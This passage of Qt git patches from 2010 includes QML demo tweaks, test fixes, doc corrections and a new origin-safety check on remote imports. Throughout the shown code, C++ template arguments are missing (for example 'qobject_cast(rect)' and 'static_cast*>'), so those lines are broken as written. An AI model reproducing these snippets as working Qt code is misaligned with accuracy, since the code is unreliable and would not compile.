tst_qdeclarativetextinput::sendRequestSoftwareInputPanelEvent() QCOMPARE(ic.softwareInputPanelEventReceived, true); } +class MyTextInput : public QDeclarativeTextInput +{ +public: + MyTextInput(QDeclarativeItem *parent = 0) : QDeclarativeTextInput(parent) + { + nbPaint = 0; + } + void paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget) + { + nbPaint++; + QDeclarativeTextInput::paint(painter, option, widget); + } + int nbPaint; +}; + +void tst_qdeclarativetextinput::setHAlignClearCache() +{ + QGraphicsScene scene; + QGraphicsView view(&scene); + MyTextInput input; + input.setText("Hello world"); + scene.addItem(&input); + view.show(); + QApplication::setActiveWindow(&view); + QTest::qWaitForWindowShown(&view); + QCOMPARE(input.nbPaint, 1); + input.setHAlign(QDeclarativeTextInput::AlignRight); + QApplication::processEvents(); + //Changing the alignment should trigger a repaint + QCOMPARE(input.nbPaint, 2); +} + QTEST_MAIN(tst_qdeclarativetextinput) #include "tst_qdeclarativetextinput.moc" -- cgit v0.12 From 6303deb10f394746a6ff928dc44934aa728f8b09 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Tue, 23 Mar 2010 15:03:29 +1000 Subject: Fix warning. --- src/declarative/qml/qdeclarativecompiler.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/declarative/qml/qdeclarativecompiler.cpp b/src/declarative/qml/qdeclarativecompiler.cpp index 28c2210..e668553 100644 --- a/src/declarative/qml/qdeclarativecompiler.cpp +++ b/src/declarative/qml/qdeclarativecompiler.cpp @@ -2131,7 +2131,7 @@ bool QDeclarativeCompiler::buildPropertyOnAssignment(QDeclarativeParser::Propert buildDynamicMeta(baseObj, ForceCreation); v->type = isPropertyValue ? Value::ValueSource : Value::ValueInterceptor; } else { - COMPILE_EXCEPTION(v, QCoreApplication::translate("QDeclarativeCompiler","\"%1\" cannot operate on \"%2\"").arg(v->object->typeName.constData()).arg(prop->name.constData())); + COMPILE_EXCEPTION(v, QCoreApplication::translate("QDeclarativeCompiler","\"%1\" cannot operate on \"%2\"").arg(QString::fromUtf8(v->object->typeName)).arg(QString::fromUtf8(prop->name))); } return true; -- cgit v0.12 From 32ab7f1e66bbd7e3b91917d725880356aa76c502 Mon Sep 17 00:00:00 2001 From: Yann Bodson Date: Tue, 23 Mar 2010 15:51:41 +1000 Subject: Usability improvements for photoviewer demo. --- .../photoviewer/PhotoViewerCore/AlbumDelegate.qml | 14 ++++++++++++-- .../photoviewer/PhotoViewerCore/EditableButton.qml | 6 +++++- .../photoviewer/PhotoViewerCore/PhotoDelegate.qml | 6 +++++- demos/declarative/photoviewer/PhotoViewerCore/Tag.qml | 2 +- demos/declarative/photoviewer/photoviewer.qml | 12 +++++++++--- 5 files changed, 32 insertions(+), 8 deletions(-) diff --git a/demos/declarative/photoviewer/PhotoViewerCore/AlbumDelegate.qml b/demos/declarative/photoviewer/PhotoViewerCore/AlbumDelegate.qml index 48914d4..fb68cfc 100644 --- a/demos/declarative/photoviewer/PhotoViewerCore/AlbumDelegate.qml +++ b/demos/declarative/photoviewer/PhotoViewerCore/AlbumDelegate.qml @@ -33,13 +33,15 @@ Component { } BusyIndicator { + id: busyIndicator anchors { centerIn: parent; verticalCenterOffset: -20 } on: rssModel.status != XmlListModel.Ready } PathView { id: photosPathView; model: visualModel.parts.stack; pathItemCount: 5 - anchors.centerIn: parent; anchors.verticalCenterOffset: -20 + visible: !busyIndicator.visible + anchors.centerIn: parent; anchors.verticalCenterOffset: -30 path: Path { PathAttribute { name: 'z'; value: 9999.0 } PathLine { x: 1; y: 1 } @@ -53,9 +55,10 @@ Component { } Tag { - anchors.horizontalCenter: parent.horizontalCenter; anchors.bottom: parent.bottom + anchors { horizontalCenter: parent.horizontalCenter; bottom: parent.bottom; bottomMargin: 10 } frontLabel: tag; backLabel: "Delete"; flipped: mainWindow.editMode onTagChanged: rssModel.tags = tag + onBackClicked: if (mainWindow.editMode) photosModel.remove(index); } states: [ @@ -74,6 +77,13 @@ Component { } ] + GridView.onAdd: NumberAnimation { target: albumWrapper; properties: "scale"; from: 0.0; to: 1.0 } + GridView.onRemove: SequentialAnimation { + PropertyAction { target: albumWrapper.GridView; property: "delayRemove"; value: true } + NumberAnimation { target: albumWrapper; property: "scale"; from: 1.0; to: 0.0 } + PropertyAction { target: albumWrapper.GridView; property: "delayRemove"; value: false } + } + transitions: [ Transition { from: '*'; to: 'inGrid' diff --git a/demos/declarative/photoviewer/PhotoViewerCore/EditableButton.qml b/demos/declarative/photoviewer/PhotoViewerCore/EditableButton.qml index 1a529ea..5ea79a1 100644 --- a/demos/declarative/photoviewer/PhotoViewerCore/EditableButton.qml +++ b/demos/declarative/photoviewer/PhotoViewerCore/EditableButton.qml @@ -28,6 +28,10 @@ Item { TextInput { id: textInput; text: label; font.pixelSize: 15; anchors.centerIn: parent; smooth: true; visible: false Keys.onReturnPressed: container.labelChanged(textInput.text) + Keys.onEscapePressed: { + textInput.text = labelText.text + container.state = '' + } } MouseArea { @@ -37,7 +41,7 @@ Item { states: State { name: "editMode" - PropertyChanges { target: container; width: textInput.width + 70; height: textInput.height + 18 } + PropertyChanges { target: container; width: textInput.width + 70; height: textInput.height + 17 } PropertyChanges { target: textInput; visible: true; focus: true } PropertyChanges { target: labelText; visible: false } } diff --git a/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml b/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml index ab36122..107aff1 100644 --- a/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml +++ b/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml @@ -33,8 +33,12 @@ Package { property int h: Script.getHeight(content) property double s: Script.calculateScale(w, h, photoWrapper.width) - color: '#878787'; anchors.centerIn: parent; smooth: true; border.color: 'white'; border.width: 3 + color: 'white'; anchors.centerIn: parent; smooth: true width: w * s; height: h * s; visible: originalImage.status != Image.Ready + Rectangle { + color: "#878787"; smooth: true + anchors { fill: parent; topMargin: 3; bottomMargin: 3; leftMargin: 3; rightMargin: 3 } + } } Rectangle { id: border; color: 'white'; anchors.centerIn: parent; smooth: true diff --git a/demos/declarative/photoviewer/PhotoViewerCore/Tag.qml b/demos/declarative/photoviewer/PhotoViewerCore/Tag.qml index d1e26e0..bf02fac 100644 --- a/demos/declarative/photoviewer/PhotoViewerCore/Tag.qml +++ b/demos/declarative/photoviewer/PhotoViewerCore/Tag.qml @@ -22,7 +22,7 @@ Flipable { } back: Button { - id: backButton; tint: "red" + id: backButton; tint: "red"; rotation: flipable.randomAngle anchors { centerIn: parent; verticalCenterOffset: -20 } onClicked: flipable.backClicked() } diff --git a/demos/declarative/photoviewer/photoviewer.qml b/demos/declarative/photoviewer/photoviewer.qml index 5e4be4c..8feee02 100644 --- a/demos/declarative/photoviewer/photoviewer.qml +++ b/demos/declarative/photoviewer/photoviewer.qml @@ -13,8 +13,8 @@ Rectangle { ListModel { id: photosModel ListElement { tag: "Flowers" } - ListElement { tag: "Savanna" } - ListElement { tag: "Central Park" } + ListElement { tag: "Wildlife" } + ListElement { tag: "Prague" } } VisualDataModel { id: albumVisualModel; model: photosModel; delegate: AlbumDelegate {} } @@ -26,14 +26,20 @@ Rectangle { Column { spacing: 20; anchors { bottom: parent.bottom; right: parent.right; rightMargin: 20; bottomMargin: 20 } - Button { id: deleteButton; label: "Edit"; rotation: -2; onClicked: mainWindow.editMode = !mainWindow.editMode } Button { id: newButton; label: "New"; rotation: 3 + anchors.horizontalCenter: parent.horizontalCenter onClicked: { + mainWindow.editMode = false photosModel.append( { tag: "" } ) albumView.positionViewAtIndex(albumView.count - 1, GridView.Contain) } } + Button { + id: deleteButton; label: "Delete"; rotation: -2; + onClicked: mainWindow.editMode = !mainWindow.editMode + anchors.horizontalCenter: parent.horizontalCenter + } } Rectangle { -- cgit v0.12 From 90e401d350a75dfa365a8f3090514a2741f7bef6 Mon Sep 17 00:00:00 2001 From: Alan Alpert Date: Mon, 22 Mar 2010 16:08:25 +0100 Subject: Use QDeclarativeListProperty properly Task-number: QTBUG-8713 Reviewed-by: Aaron Kennedy --- demos/declarative/minehunt/minehunt.cpp | 24 +++++++++++++++++++++++- 1 file changed, 23 insertions(+), 1 deletion(-) diff --git a/demos/declarative/minehunt/minehunt.cpp b/demos/declarative/minehunt/minehunt.cpp index 5e44d1b..e54508a 100644 --- a/demos/declarative/minehunt/minehunt.cpp +++ b/demos/declarative/minehunt/minehunt.cpp @@ -92,7 +92,7 @@ public: MinehuntGame(); Q_PROPERTY(QDeclarativeListProperty tiles READ tiles CONSTANT); - QDeclarativeListProperty tiles() { return QDeclarativeListProperty(this, _tiles); } + QDeclarativeListProperty tiles(); Q_PROPERTY(bool isPlaying READ isPlaying NOTIFY isPlayingChanged); bool isPlaying() {return playing;} @@ -134,6 +134,28 @@ private: int nFlags; }; +void tilesPropAppend(QDeclarativeListProperty* prop, Tile* value) +{ + Q_UNUSED(prop); + Q_UNUSED(value); + return; //Append not supported +} + +int tilesPropCount(QDeclarativeListProperty* prop) +{ + return static_cast*>(prop->data)->count(); +} + +Tile* tilesPropAt(QDeclarativeListProperty* prop, int index) +{ + return static_cast*>(prop->data)->at(index); +} + +QDeclarativeListProperty MinehuntGame::tiles(){ + return QDeclarativeListProperty(this, &_tiles, &tilesPropAppend, + &tilesPropCount, &tilesPropAt, 0); +} + MinehuntGame::MinehuntGame() : numCols(9), numRows(9), playing(true), won(false) { -- cgit v0.12 From 711d3614ed64b2e962e07f7070d9834f85231ab5 Mon Sep 17 00:00:00 2001 From: Alan Alpert Date: Tue, 23 Mar 2010 13:02:23 +0100 Subject: Make more tests compile on solaris-cc --- .../qdeclarativebinding/tst_qdeclarativebinding.cpp | 2 +- .../qdeclarativedebug/tst_qdeclarativedebug.cpp | 2 +- .../qdeclarativelanguage/tst_qdeclarativelanguage.cpp | 8 ++++---- .../qdeclarativeproperty/tst_qdeclarativeproperty.cpp | 18 +++++++++--------- .../qdeclarativestates/tst_qdeclarativestates.cpp | 8 ++++---- 5 files changed, 19 insertions(+), 19 deletions(-) diff --git a/tests/auto/declarative/qdeclarativebinding/tst_qdeclarativebinding.cpp b/tests/auto/declarative/qdeclarativebinding/tst_qdeclarativebinding.cpp index 826df4f..483d588 100644 --- a/tests/auto/declarative/qdeclarativebinding/tst_qdeclarativebinding.cpp +++ b/tests/auto/declarative/qdeclarativebinding/tst_qdeclarativebinding.cpp @@ -79,7 +79,7 @@ void tst_qdeclarativebinding::binding() QDeclarativeBind *binding = qobject_cast(rect->findChild("binding1")); QVERIFY(binding != 0); - QCOMPARE(binding->object(), rect); + QCOMPARE(binding->object(), qobject_cast(rect)); QCOMPARE(binding->property(), QLatin1String("text")); QCOMPARE(binding->value().toString(), QLatin1String("Hello")); diff --git a/tests/auto/declarative/qdeclarativedebug/tst_qdeclarativedebug.cpp b/tests/auto/declarative/qdeclarativedebug/tst_qdeclarativedebug.cpp index 0c3ca76..d0eb90e 100644 --- a/tests/auto/declarative/qdeclarativedebug/tst_qdeclarativedebug.cpp +++ b/tests/auto/declarative/qdeclarativedebug/tst_qdeclarativedebug.cpp @@ -153,7 +153,7 @@ QDeclarativeDebugPropertyReference tst_QDeclarativeDebug::findProperty(const QLi void tst_QDeclarativeDebug::waitForQuery(QDeclarativeDebugQuery *query) { QVERIFY(query); - QCOMPARE(query->parent(), this); + QCOMPARE(query->parent(), qobject_cast(this)); QVERIFY(query->state() == QDeclarativeDebugQuery::Waiting); if (!QDeclarativeDebugTest::waitForSignal(query, SIGNAL(stateChanged(QDeclarativeDebugQuery::State)))) QFAIL("query timed out"); diff --git a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp index 42426a2..72b6b28 100644 --- a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp +++ b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp @@ -690,7 +690,7 @@ void tst_qdeclarativelanguage::propertyValueSource() MyPropertyValueSource *valueSource = qobject_cast(valueSources.at(0)); QVERIFY(valueSource != 0); - QCOMPARE(valueSource->prop.object(), object); + QCOMPARE(valueSource->prop.object(), qobject_cast(object)); QCOMPARE(valueSource->prop.name(), QString(QLatin1String("intProperty"))); } @@ -711,7 +711,7 @@ void tst_qdeclarativelanguage::propertyValueSource() MyPropertyValueSource *valueSource = qobject_cast(valueSources.at(0)); QVERIFY(valueSource != 0); - QCOMPARE(valueSource->prop.object(), object); + QCOMPARE(valueSource->prop.object(), qobject_cast(object)); QCOMPARE(valueSource->prop.name(), QString(QLatin1String("intProperty"))); } } @@ -1033,12 +1033,12 @@ void tst_qdeclarativelanguage::scriptString() MyTypeObject *object = qobject_cast(component.create()); QVERIFY(object != 0); QCOMPARE(object->scriptProperty().script(), QString("foo + bar")); - QCOMPARE(object->scriptProperty().scopeObject(), object); + QCOMPARE(object->scriptProperty().scopeObject(), qobject_cast(object)); QCOMPARE(object->scriptProperty().context(), qmlContext(object)); QVERIFY(object->grouped() != 0); QCOMPARE(object->grouped()->script().script(), QString("console.log(1921)")); - QCOMPARE(object->grouped()->script().scopeObject(), object); + QCOMPARE(object->grouped()->script().scopeObject(), qobject_cast(object)); QCOMPARE(object->grouped()->script().context(), qmlContext(object)); } diff --git a/tests/auto/declarative/qdeclarativeproperty/tst_qdeclarativeproperty.cpp b/tests/auto/declarative/qdeclarativeproperty/tst_qdeclarativeproperty.cpp index eed12ea..56166f2 100644 --- a/tests/auto/declarative/qdeclarativeproperty/tst_qdeclarativeproperty.cpp +++ b/tests/auto/declarative/qdeclarativeproperty/tst_qdeclarativeproperty.cpp @@ -305,7 +305,7 @@ void tst_qdeclarativeproperty::qmlmetaproperty_object() QCOMPARE(prop.isDesignable(), true); QCOMPARE(prop.isResettable(), false); QCOMPARE(prop.isValid(), true); - QCOMPARE(prop.object(), &dobject); + QCOMPARE(prop.object(), qobject_cast(&dobject)); QCOMPARE(prop.propertyTypeCategory(), QDeclarativeProperty::Normal); QCOMPARE(prop.propertyType(), (int)QVariant::Int); QCOMPARE(prop.propertyTypeName(), "int"); @@ -404,7 +404,7 @@ void tst_qdeclarativeproperty::qmlmetaproperty_object_string() QCOMPARE(prop.isDesignable(), true); QCOMPARE(prop.isResettable(), false); QCOMPARE(prop.isValid(), true); - QCOMPARE(prop.object(), &dobject); + QCOMPARE(prop.object(), qobject_cast(&dobject)); QCOMPARE(prop.propertyTypeCategory(), QDeclarativeProperty::Normal); QCOMPARE(prop.propertyType(), (int)QVariant::Int); QCOMPARE(prop.propertyTypeName(), "int"); @@ -452,7 +452,7 @@ void tst_qdeclarativeproperty::qmlmetaproperty_object_string() QCOMPARE(prop.isDesignable(), false); QCOMPARE(prop.isResettable(), false); QCOMPARE(prop.isValid(), true); - QCOMPARE(prop.object(), &dobject); + QCOMPARE(prop.object(), qobject_cast(&dobject)); QCOMPARE(prop.propertyTypeCategory(), QDeclarativeProperty::InvalidCategory); QCOMPARE(prop.propertyType(), 0); QCOMPARE(prop.propertyTypeName(), (const char *)0); @@ -499,7 +499,7 @@ void tst_qdeclarativeproperty::qmlmetaproperty_object_string() QCOMPARE(prop.isDesignable(), false); QCOMPARE(prop.isResettable(), false); QCOMPARE(prop.isValid(), true); - QCOMPARE(prop.object(), &dobject); + QCOMPARE(prop.object(), qobject_cast(&dobject)); QCOMPARE(prop.propertyTypeCategory(), QDeclarativeProperty::InvalidCategory); QCOMPARE(prop.propertyType(), 0); QCOMPARE(prop.propertyTypeName(), (const char *)0); @@ -597,7 +597,7 @@ void tst_qdeclarativeproperty::qmlmetaproperty_object_context() QCOMPARE(prop.isDesignable(), true); QCOMPARE(prop.isResettable(), false); QCOMPARE(prop.isValid(), true); - QCOMPARE(prop.object(), &dobject); + QCOMPARE(prop.object(), qobject_cast(&dobject)); QCOMPARE(prop.propertyTypeCategory(), QDeclarativeProperty::Normal); QCOMPARE(prop.propertyType(), (int)QVariant::Int); QCOMPARE(prop.propertyTypeName(), "int"); @@ -696,7 +696,7 @@ void tst_qdeclarativeproperty::qmlmetaproperty_object_string_context() QCOMPARE(prop.isDesignable(), true); QCOMPARE(prop.isResettable(), false); QCOMPARE(prop.isValid(), true); - QCOMPARE(prop.object(), &dobject); + QCOMPARE(prop.object(), qobject_cast(&dobject)); QCOMPARE(prop.propertyTypeCategory(), QDeclarativeProperty::Normal); QCOMPARE(prop.propertyType(), (int)QVariant::Int); QCOMPARE(prop.propertyTypeName(), "int"); @@ -744,7 +744,7 @@ void tst_qdeclarativeproperty::qmlmetaproperty_object_string_context() QCOMPARE(prop.isDesignable(), false); QCOMPARE(prop.isResettable(), false); QCOMPARE(prop.isValid(), true); - QCOMPARE(prop.object(), &dobject); + QCOMPARE(prop.object(), qobject_cast(&dobject)); QCOMPARE(prop.propertyTypeCategory(), QDeclarativeProperty::InvalidCategory); QCOMPARE(prop.propertyType(), 0); QCOMPARE(prop.propertyTypeName(), (const char *)0); @@ -791,7 +791,7 @@ void tst_qdeclarativeproperty::qmlmetaproperty_object_string_context() QCOMPARE(prop.isDesignable(), false); QCOMPARE(prop.isResettable(), false); QCOMPARE(prop.isValid(), true); - QCOMPARE(prop.object(), &dobject); + QCOMPARE(prop.object(), qobject_cast(&dobject)); QCOMPARE(prop.propertyTypeCategory(), QDeclarativeProperty::InvalidCategory); QCOMPARE(prop.propertyType(), 0); QCOMPARE(prop.propertyTypeName(), (const char *)0); @@ -1254,7 +1254,7 @@ void tst_qdeclarativeproperty::writeObjectToList() QDeclarativeProperty prop(container, "children"); prop.write(qVariantFromValue(object)); QCOMPARE(list.count(), 1); - QCOMPARE(list.at(0), object); + QCOMPARE(list.at(0), qobject_cast(object)); } Q_DECLARE_METATYPE(QList); diff --git a/tests/auto/declarative/qdeclarativestates/tst_qdeclarativestates.cpp b/tests/auto/declarative/qdeclarativestates/tst_qdeclarativestates.cpp index 9e1d727..91883c9 100644 --- a/tests/auto/declarative/qdeclarativestates/tst_qdeclarativestates.cpp +++ b/tests/auto/declarative/qdeclarativestates/tst_qdeclarativestates.cpp @@ -565,7 +565,7 @@ void tst_qdeclarativestates::anchorChanges() rect->setState("right"); QCOMPARE(innerRect->x(), qreal(150)); QCOMPARE(aChanges->reset(), QString("left")); - QCOMPARE(aChanges->object(), innerRect); + QCOMPARE(aChanges->object(), qobject_cast(innerRect)); QCOMPARE(aChanges->right().item, rect->right().item); QCOMPARE(aChanges->right().anchorLine, rect->right().anchorLine); @@ -622,7 +622,7 @@ void tst_qdeclarativestates::anchorChanges3() QVERIFY(aChanges != 0); rect->setState("reanchored"); - QCOMPARE(aChanges->object(), innerRect); + QCOMPARE(aChanges->object(), qobject_cast(innerRect)); QCOMPARE(aChanges->left().item, leftGuideline->left().item); QCOMPARE(aChanges->left().anchorLine, leftGuideline->left().anchorLine); QCOMPARE(aChanges->right().item, rect->right().item); @@ -672,7 +672,7 @@ void tst_qdeclarativestates::anchorChanges4() QVERIFY(aChanges != 0); rect->setState("reanchored"); - QCOMPARE(aChanges->object(), innerRect); + QCOMPARE(aChanges->object(), qobject_cast(innerRect)); QCOMPARE(aChanges->horizontalCenter().item, bottomGuideline->horizontalCenter().item); QCOMPARE(aChanges->horizontalCenter().anchorLine, bottomGuideline->horizontalCenter().anchorLine); QCOMPARE(aChanges->verticalCenter().item, leftGuideline->verticalCenter().item); @@ -707,7 +707,7 @@ void tst_qdeclarativestates::anchorChanges5() QVERIFY(aChanges != 0); rect->setState("reanchored"); - QCOMPARE(aChanges->object(), innerRect); + QCOMPARE(aChanges->object(), qobject_cast(innerRect)); QCOMPARE(aChanges->horizontalCenter().item, bottomGuideline->horizontalCenter().item); QCOMPARE(aChanges->horizontalCenter().anchorLine, bottomGuideline->horizontalCenter().anchorLine); QCOMPARE(aChanges->baseline().item, leftGuideline->baseline().item); -- cgit v0.12 From 6801a97671f64ef30ab312b38d16abc964ad6ac5 Mon Sep 17 00:00:00 2001 From: Alan Alpert Date: Tue, 23 Mar 2010 14:26:48 +0100 Subject: Minehunt readme was missing a step. --- demos/declarative/minehunt/README | 2 ++ 1 file changed, 2 insertions(+) diff --git a/demos/declarative/minehunt/README b/demos/declarative/minehunt/README index 7379dcf..1b6cf81 100644 --- a/demos/declarative/minehunt/README +++ b/demos/declarative/minehunt/README @@ -1,3 +1,5 @@ +To compile the C++ part, do 'qmake && make'. Minehunt will not run properly if the C++ plugin is not compiled. + To run, simply load the minehunt.qml file with the qml runtime. Note that on X11, this demo has problems with the native graphicssystem. If you are using the X11 window system, please pass -graphicssystem raster to the qml binary. -- cgit v0.12 From 213990335e42727d4eaa6753e6b71b3c9cfe85d5 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Wed, 24 Mar 2010 10:32:09 +1000 Subject: Doc: ids start with lowercase --- src/declarative/util/qdeclarativelistmodel.cpp | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/src/declarative/util/qdeclarativelistmodel.cpp b/src/declarative/util/qdeclarativelistmodel.cpp index 340e9ac..3e25234 100644 --- a/src/declarative/util/qdeclarativelistmodel.cpp +++ b/src/declarative/util/qdeclarativelistmodel.cpp @@ -401,7 +401,7 @@ void QDeclarativeListModel::remove(int index) values in \a dict. \code - FruitModel.insert(2, {"cost": 5.95, "name":"Pizza"}) + fruitModel.insert(2, {"cost": 5.95, "name":"Pizza"}) \endcode The \a index must be to an existing item in the list, or one past @@ -437,7 +437,7 @@ void QDeclarativeListModel::insert(int index, const QScriptValue& valuemap) to the end of the list: \code - FruitModel.move(0,FruitModel.count-3,3) + fruitModel.move(0,fruitModel.count-3,3) \endcode \sa append() @@ -479,7 +479,7 @@ void QDeclarativeListModel::move(int from, int to, int n) values in \a dict. \code - FruitModel.append({"cost": 5.95, "name":"Pizza"}) + fruitModel.append({"cost": 5.95, "name":"Pizza"}) \endcode \sa set() remove() @@ -500,8 +500,8 @@ void QDeclarativeListModel::append(const QScriptValue& valuemap) Returns the item at \a index in the list model. \code - FruitModel.append({"cost": 5.95, "name":"Jackfruit"}) - FruitModel.get(0).cost + fruitModel.append({"cost": 5.95, "name":"Jackfruit"}) + fruitModel.get(0).cost \endcode The \a index must be an element in the list. @@ -510,10 +510,10 @@ void QDeclarativeListModel::append(const QScriptValue& valuemap) will also be models, and this get() method is used to access elements: \code - FruitModel.append(..., "attributes": + fruitModel.append(..., "attributes": [{"name":"spikes","value":"7mm"}, {"name":"color","value":"green"}]); - FruitModel.get(0).attributes.get(1).value; // == "green" + fruitModel.get(0).attributes.get(1).value; // == "green" \endcode \sa append() @@ -536,7 +536,7 @@ QScriptValue QDeclarativeListModel::get(int index) const are left unchanged. \code - FruitModel.set(3, {"cost": 5.95, "name":"Pizza"}) + fruitModel.set(3, {"cost": 5.95, "name":"Pizza"}) \endcode The \a index must be an element in the list. @@ -574,7 +574,7 @@ void QDeclarativeListModel::set(int index, const QScriptValue& valuemap) Changes the \a property of the item at \a index in the list model to \a value. \code - FruitModel.set(3, "cost", 5.95) + fruitModel.set(3, "cost", 5.95) \endcode The \a index must be an element in the list. -- cgit v0.12 From 4d82dd604c4f6aedbf3ed0eabcf89d3dca3d0a88 Mon Sep 17 00:00:00 2001 From: Warwick Allison Date: Wed, 24 Mar 2010 13:03:19 +1000 Subject: Origin safety testing for imported resources. Extends upon 95aa8c8fc76e2309a629b05994a2677b0887140b. Still under discussion. --- .../graphicsitems/qdeclarativeloader.cpp | 5 ++- .../qml/qdeclarativecompositetypemanager.cpp | 13 +++++++ src/declarative/qml/qdeclarativecontext.cpp | 14 +------ src/declarative/qml/qdeclarativeengine.cpp | 27 ++++++++++++++ src/declarative/qml/qdeclarativeengine.h | 2 + .../tst_qdeclarativelanguage.cpp | 43 +++++++++++++++++++++- .../qdeclarativeloader/tst_qdeclarativeloader.cpp | 2 +- 7 files changed, 91 insertions(+), 15 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativeloader.cpp b/src/declarative/graphicsitems/qdeclarativeloader.cpp index 3cbafd6..c0d316f 100644 --- a/src/declarative/graphicsitems/qdeclarativeloader.cpp +++ b/src/declarative/graphicsitems/qdeclarativeloader.cpp @@ -42,6 +42,7 @@ #include "qdeclarativeloader_p_p.h" #include +#include QT_BEGIN_NAMESPACE @@ -185,8 +186,10 @@ void QDeclarativeLoader::setSource(const QUrl &url) if (d->source == url) return; - if (!qmlContext(this)->isSafeOrigin(url)) + if (!qmlContext(this)->isSafeOrigin(url)) { + qmlInfo(this) << tr("\"%1\" is not a safe origin from \"%2\"").arg(url).arg(qmlContext(this)->baseUrl()); return; + } d->clear(); diff --git a/src/declarative/qml/qdeclarativecompositetypemanager.cpp b/src/declarative/qml/qdeclarativecompositetypemanager.cpp index c59e5e2..5160514 100644 --- a/src/declarative/qml/qdeclarativecompositetypemanager.cpp +++ b/src/declarative/qml/qdeclarativecompositetypemanager.cpp @@ -539,6 +539,19 @@ int QDeclarativeCompositeTypeManager::resolveTypes(QDeclarativeCompositeTypeData foreach (QDeclarativeScriptParser::Import imp, unit->data.imports()) { + if (imp.type != QDeclarativeScriptParser::Import::Library && !engine->isSafeOrigin(QUrl(imp.uri), unit->imports.baseUrl())) { + QDeclarativeError error; + error.setUrl(unit->imports.baseUrl()); + error.setDescription(tr("\"%1\" is not a safe origin").arg(imp.uri)); + error.setLine(imp.location.start.line); + error.setColumn(imp.location.start.column); + unit->status = QDeclarativeCompositeTypeData::Error; + unit->errorType = QDeclarativeCompositeTypeData::GeneralError; + unit->errors << error; + doComplete(unit); + return 0; + } + QDeclarativeDirComponents qmldircomponentsnetwork; if (imp.type == QDeclarativeScriptParser::Import::Script) continue; diff --git a/src/declarative/qml/qdeclarativecontext.cpp b/src/declarative/qml/qdeclarativecontext.cpp index ab3849a..f801a88 100644 --- a/src/declarative/qml/qdeclarativecontext.cpp +++ b/src/declarative/qml/qdeclarativecontext.cpp @@ -363,18 +363,8 @@ QVariant QDeclarativeContext::contextProperty(const QString &name) const bool QDeclarativeContext::isSafeOrigin(const QUrl &src) const { - if (src.isRelative()) - return true; - if (src.scheme()==QLatin1String("https")) - return true; - - QUrl base = baseUrl(); - if (src.host() == base.host() && src.port() == base.port()) // including files (with no host) - return true; - - qWarning() << src << "is not a safe origin from" << base; - - return false; + Q_D(const QDeclarativeContext); + return !d->data->engine || d->data->engine->isSafeOrigin(src, baseUrl()); } /*! diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp index d4872e2..d7f30d7 100644 --- a/src/declarative/qml/qdeclarativeengine.cpp +++ b/src/declarative/qml/qdeclarativeengine.cpp @@ -1883,6 +1883,33 @@ QString QDeclarativeEngine::offlineStoragePath() const } /*! + Returns whether \a to_url is considered safe content when reference by + content at \a from_url. + + The default implementation implements: + + \list + \i Relative URLs are safe + \i https content is safe + \i URLs from the same host and port are safe (including no-host) + \endlist + + You should consider whether this convention is adequate for your pareticular application. +*/ +bool QDeclarativeEngine::isSafeOrigin(const QUrl& to_url, const QUrl& from_url) const +{ + if (to_url.isRelative()) + return true; + if (to_url.scheme()==QLatin1String("https")) + return true; + + if (to_url.host() == from_url.host() && to_url.port() == from_url.port()) // including files (with no host) + return true; + + return false; +} + +/*! \internal Returns the result of the merge of \a baseName with \a dir, \a suffixes, and \a prefix. diff --git a/src/declarative/qml/qdeclarativeengine.h b/src/declarative/qml/qdeclarativeengine.h index 19e81b6..5c70b18 100644 --- a/src/declarative/qml/qdeclarativeengine.h +++ b/src/declarative/qml/qdeclarativeengine.h @@ -102,6 +102,8 @@ public: static void setObjectOwnership(QObject *, ObjectOwnership); static ObjectOwnership objectOwnership(QObject *); + virtual bool isSafeOrigin(const QUrl& to_url, const QUrl& from_url) const; + Q_SIGNALS: void quit (); diff --git a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp index 72b6b28..b6bd3f8 100644 --- a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp +++ b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp @@ -53,6 +53,19 @@ #include "../../../shared/util.h" +class SafeLocalhostDeclarativeEngine : public QDeclarativeEngine { +public: + SafeLocalhostDeclarativeEngine() : QDeclarativeEngine() {} + + virtual bool isSafeOrigin(const QUrl& to_url, const QUrl& from_url) const + { + if (to_url.host() == "127.0.0.1") + return true; + else + return QDeclarativeEngine::isSafeOrigin(to_url,from_url); + } +}; + /* This test case covers QML language issues. This covers everything that does not involve evaluating ECMAScript expressions and bindings. @@ -121,6 +134,7 @@ private slots: void importsLocal(); void importsRemote_data(); void importsRemote(); + void importsUnsafe(); void importsInstalled_data(); void importsInstalled(); void importsOrder_data(); @@ -135,7 +149,7 @@ private slots: void crash2(); private: - QDeclarativeEngine engine; + SafeLocalhostDeclarativeEngine engine; void testType(const QString& qml, const QString& type); }; @@ -1262,6 +1276,33 @@ void tst_qdeclarativelanguage::importsRemote() testType(qml,type); } +void tst_qdeclarativelanguage::importsUnsafe() +{ + TestHTTPServer server(14445); + server.serveDirectory(SRCDIR); + + QString qml = "import \"http://127.0.0.1:14445/qtest/declarative/qmllanguage\"\n\nTest {}"; + + { + QDeclarativeEngine engine; // plain engine without special localhost handling + QDeclarativeComponent component(&engine); + component.setData(qml.toUtf8(), TEST_FILE("empty.qml")); // just a file for relative local imports + + QTRY_VERIFY(!component.isLoading()); + + QVERIFY(component.isError()); + } + + { + QDeclarativeComponent component(&engine); // engine special localhost handling + component.setData(qml.toUtf8(), TEST_FILE("empty.qml")); // just a file for relative local imports + + 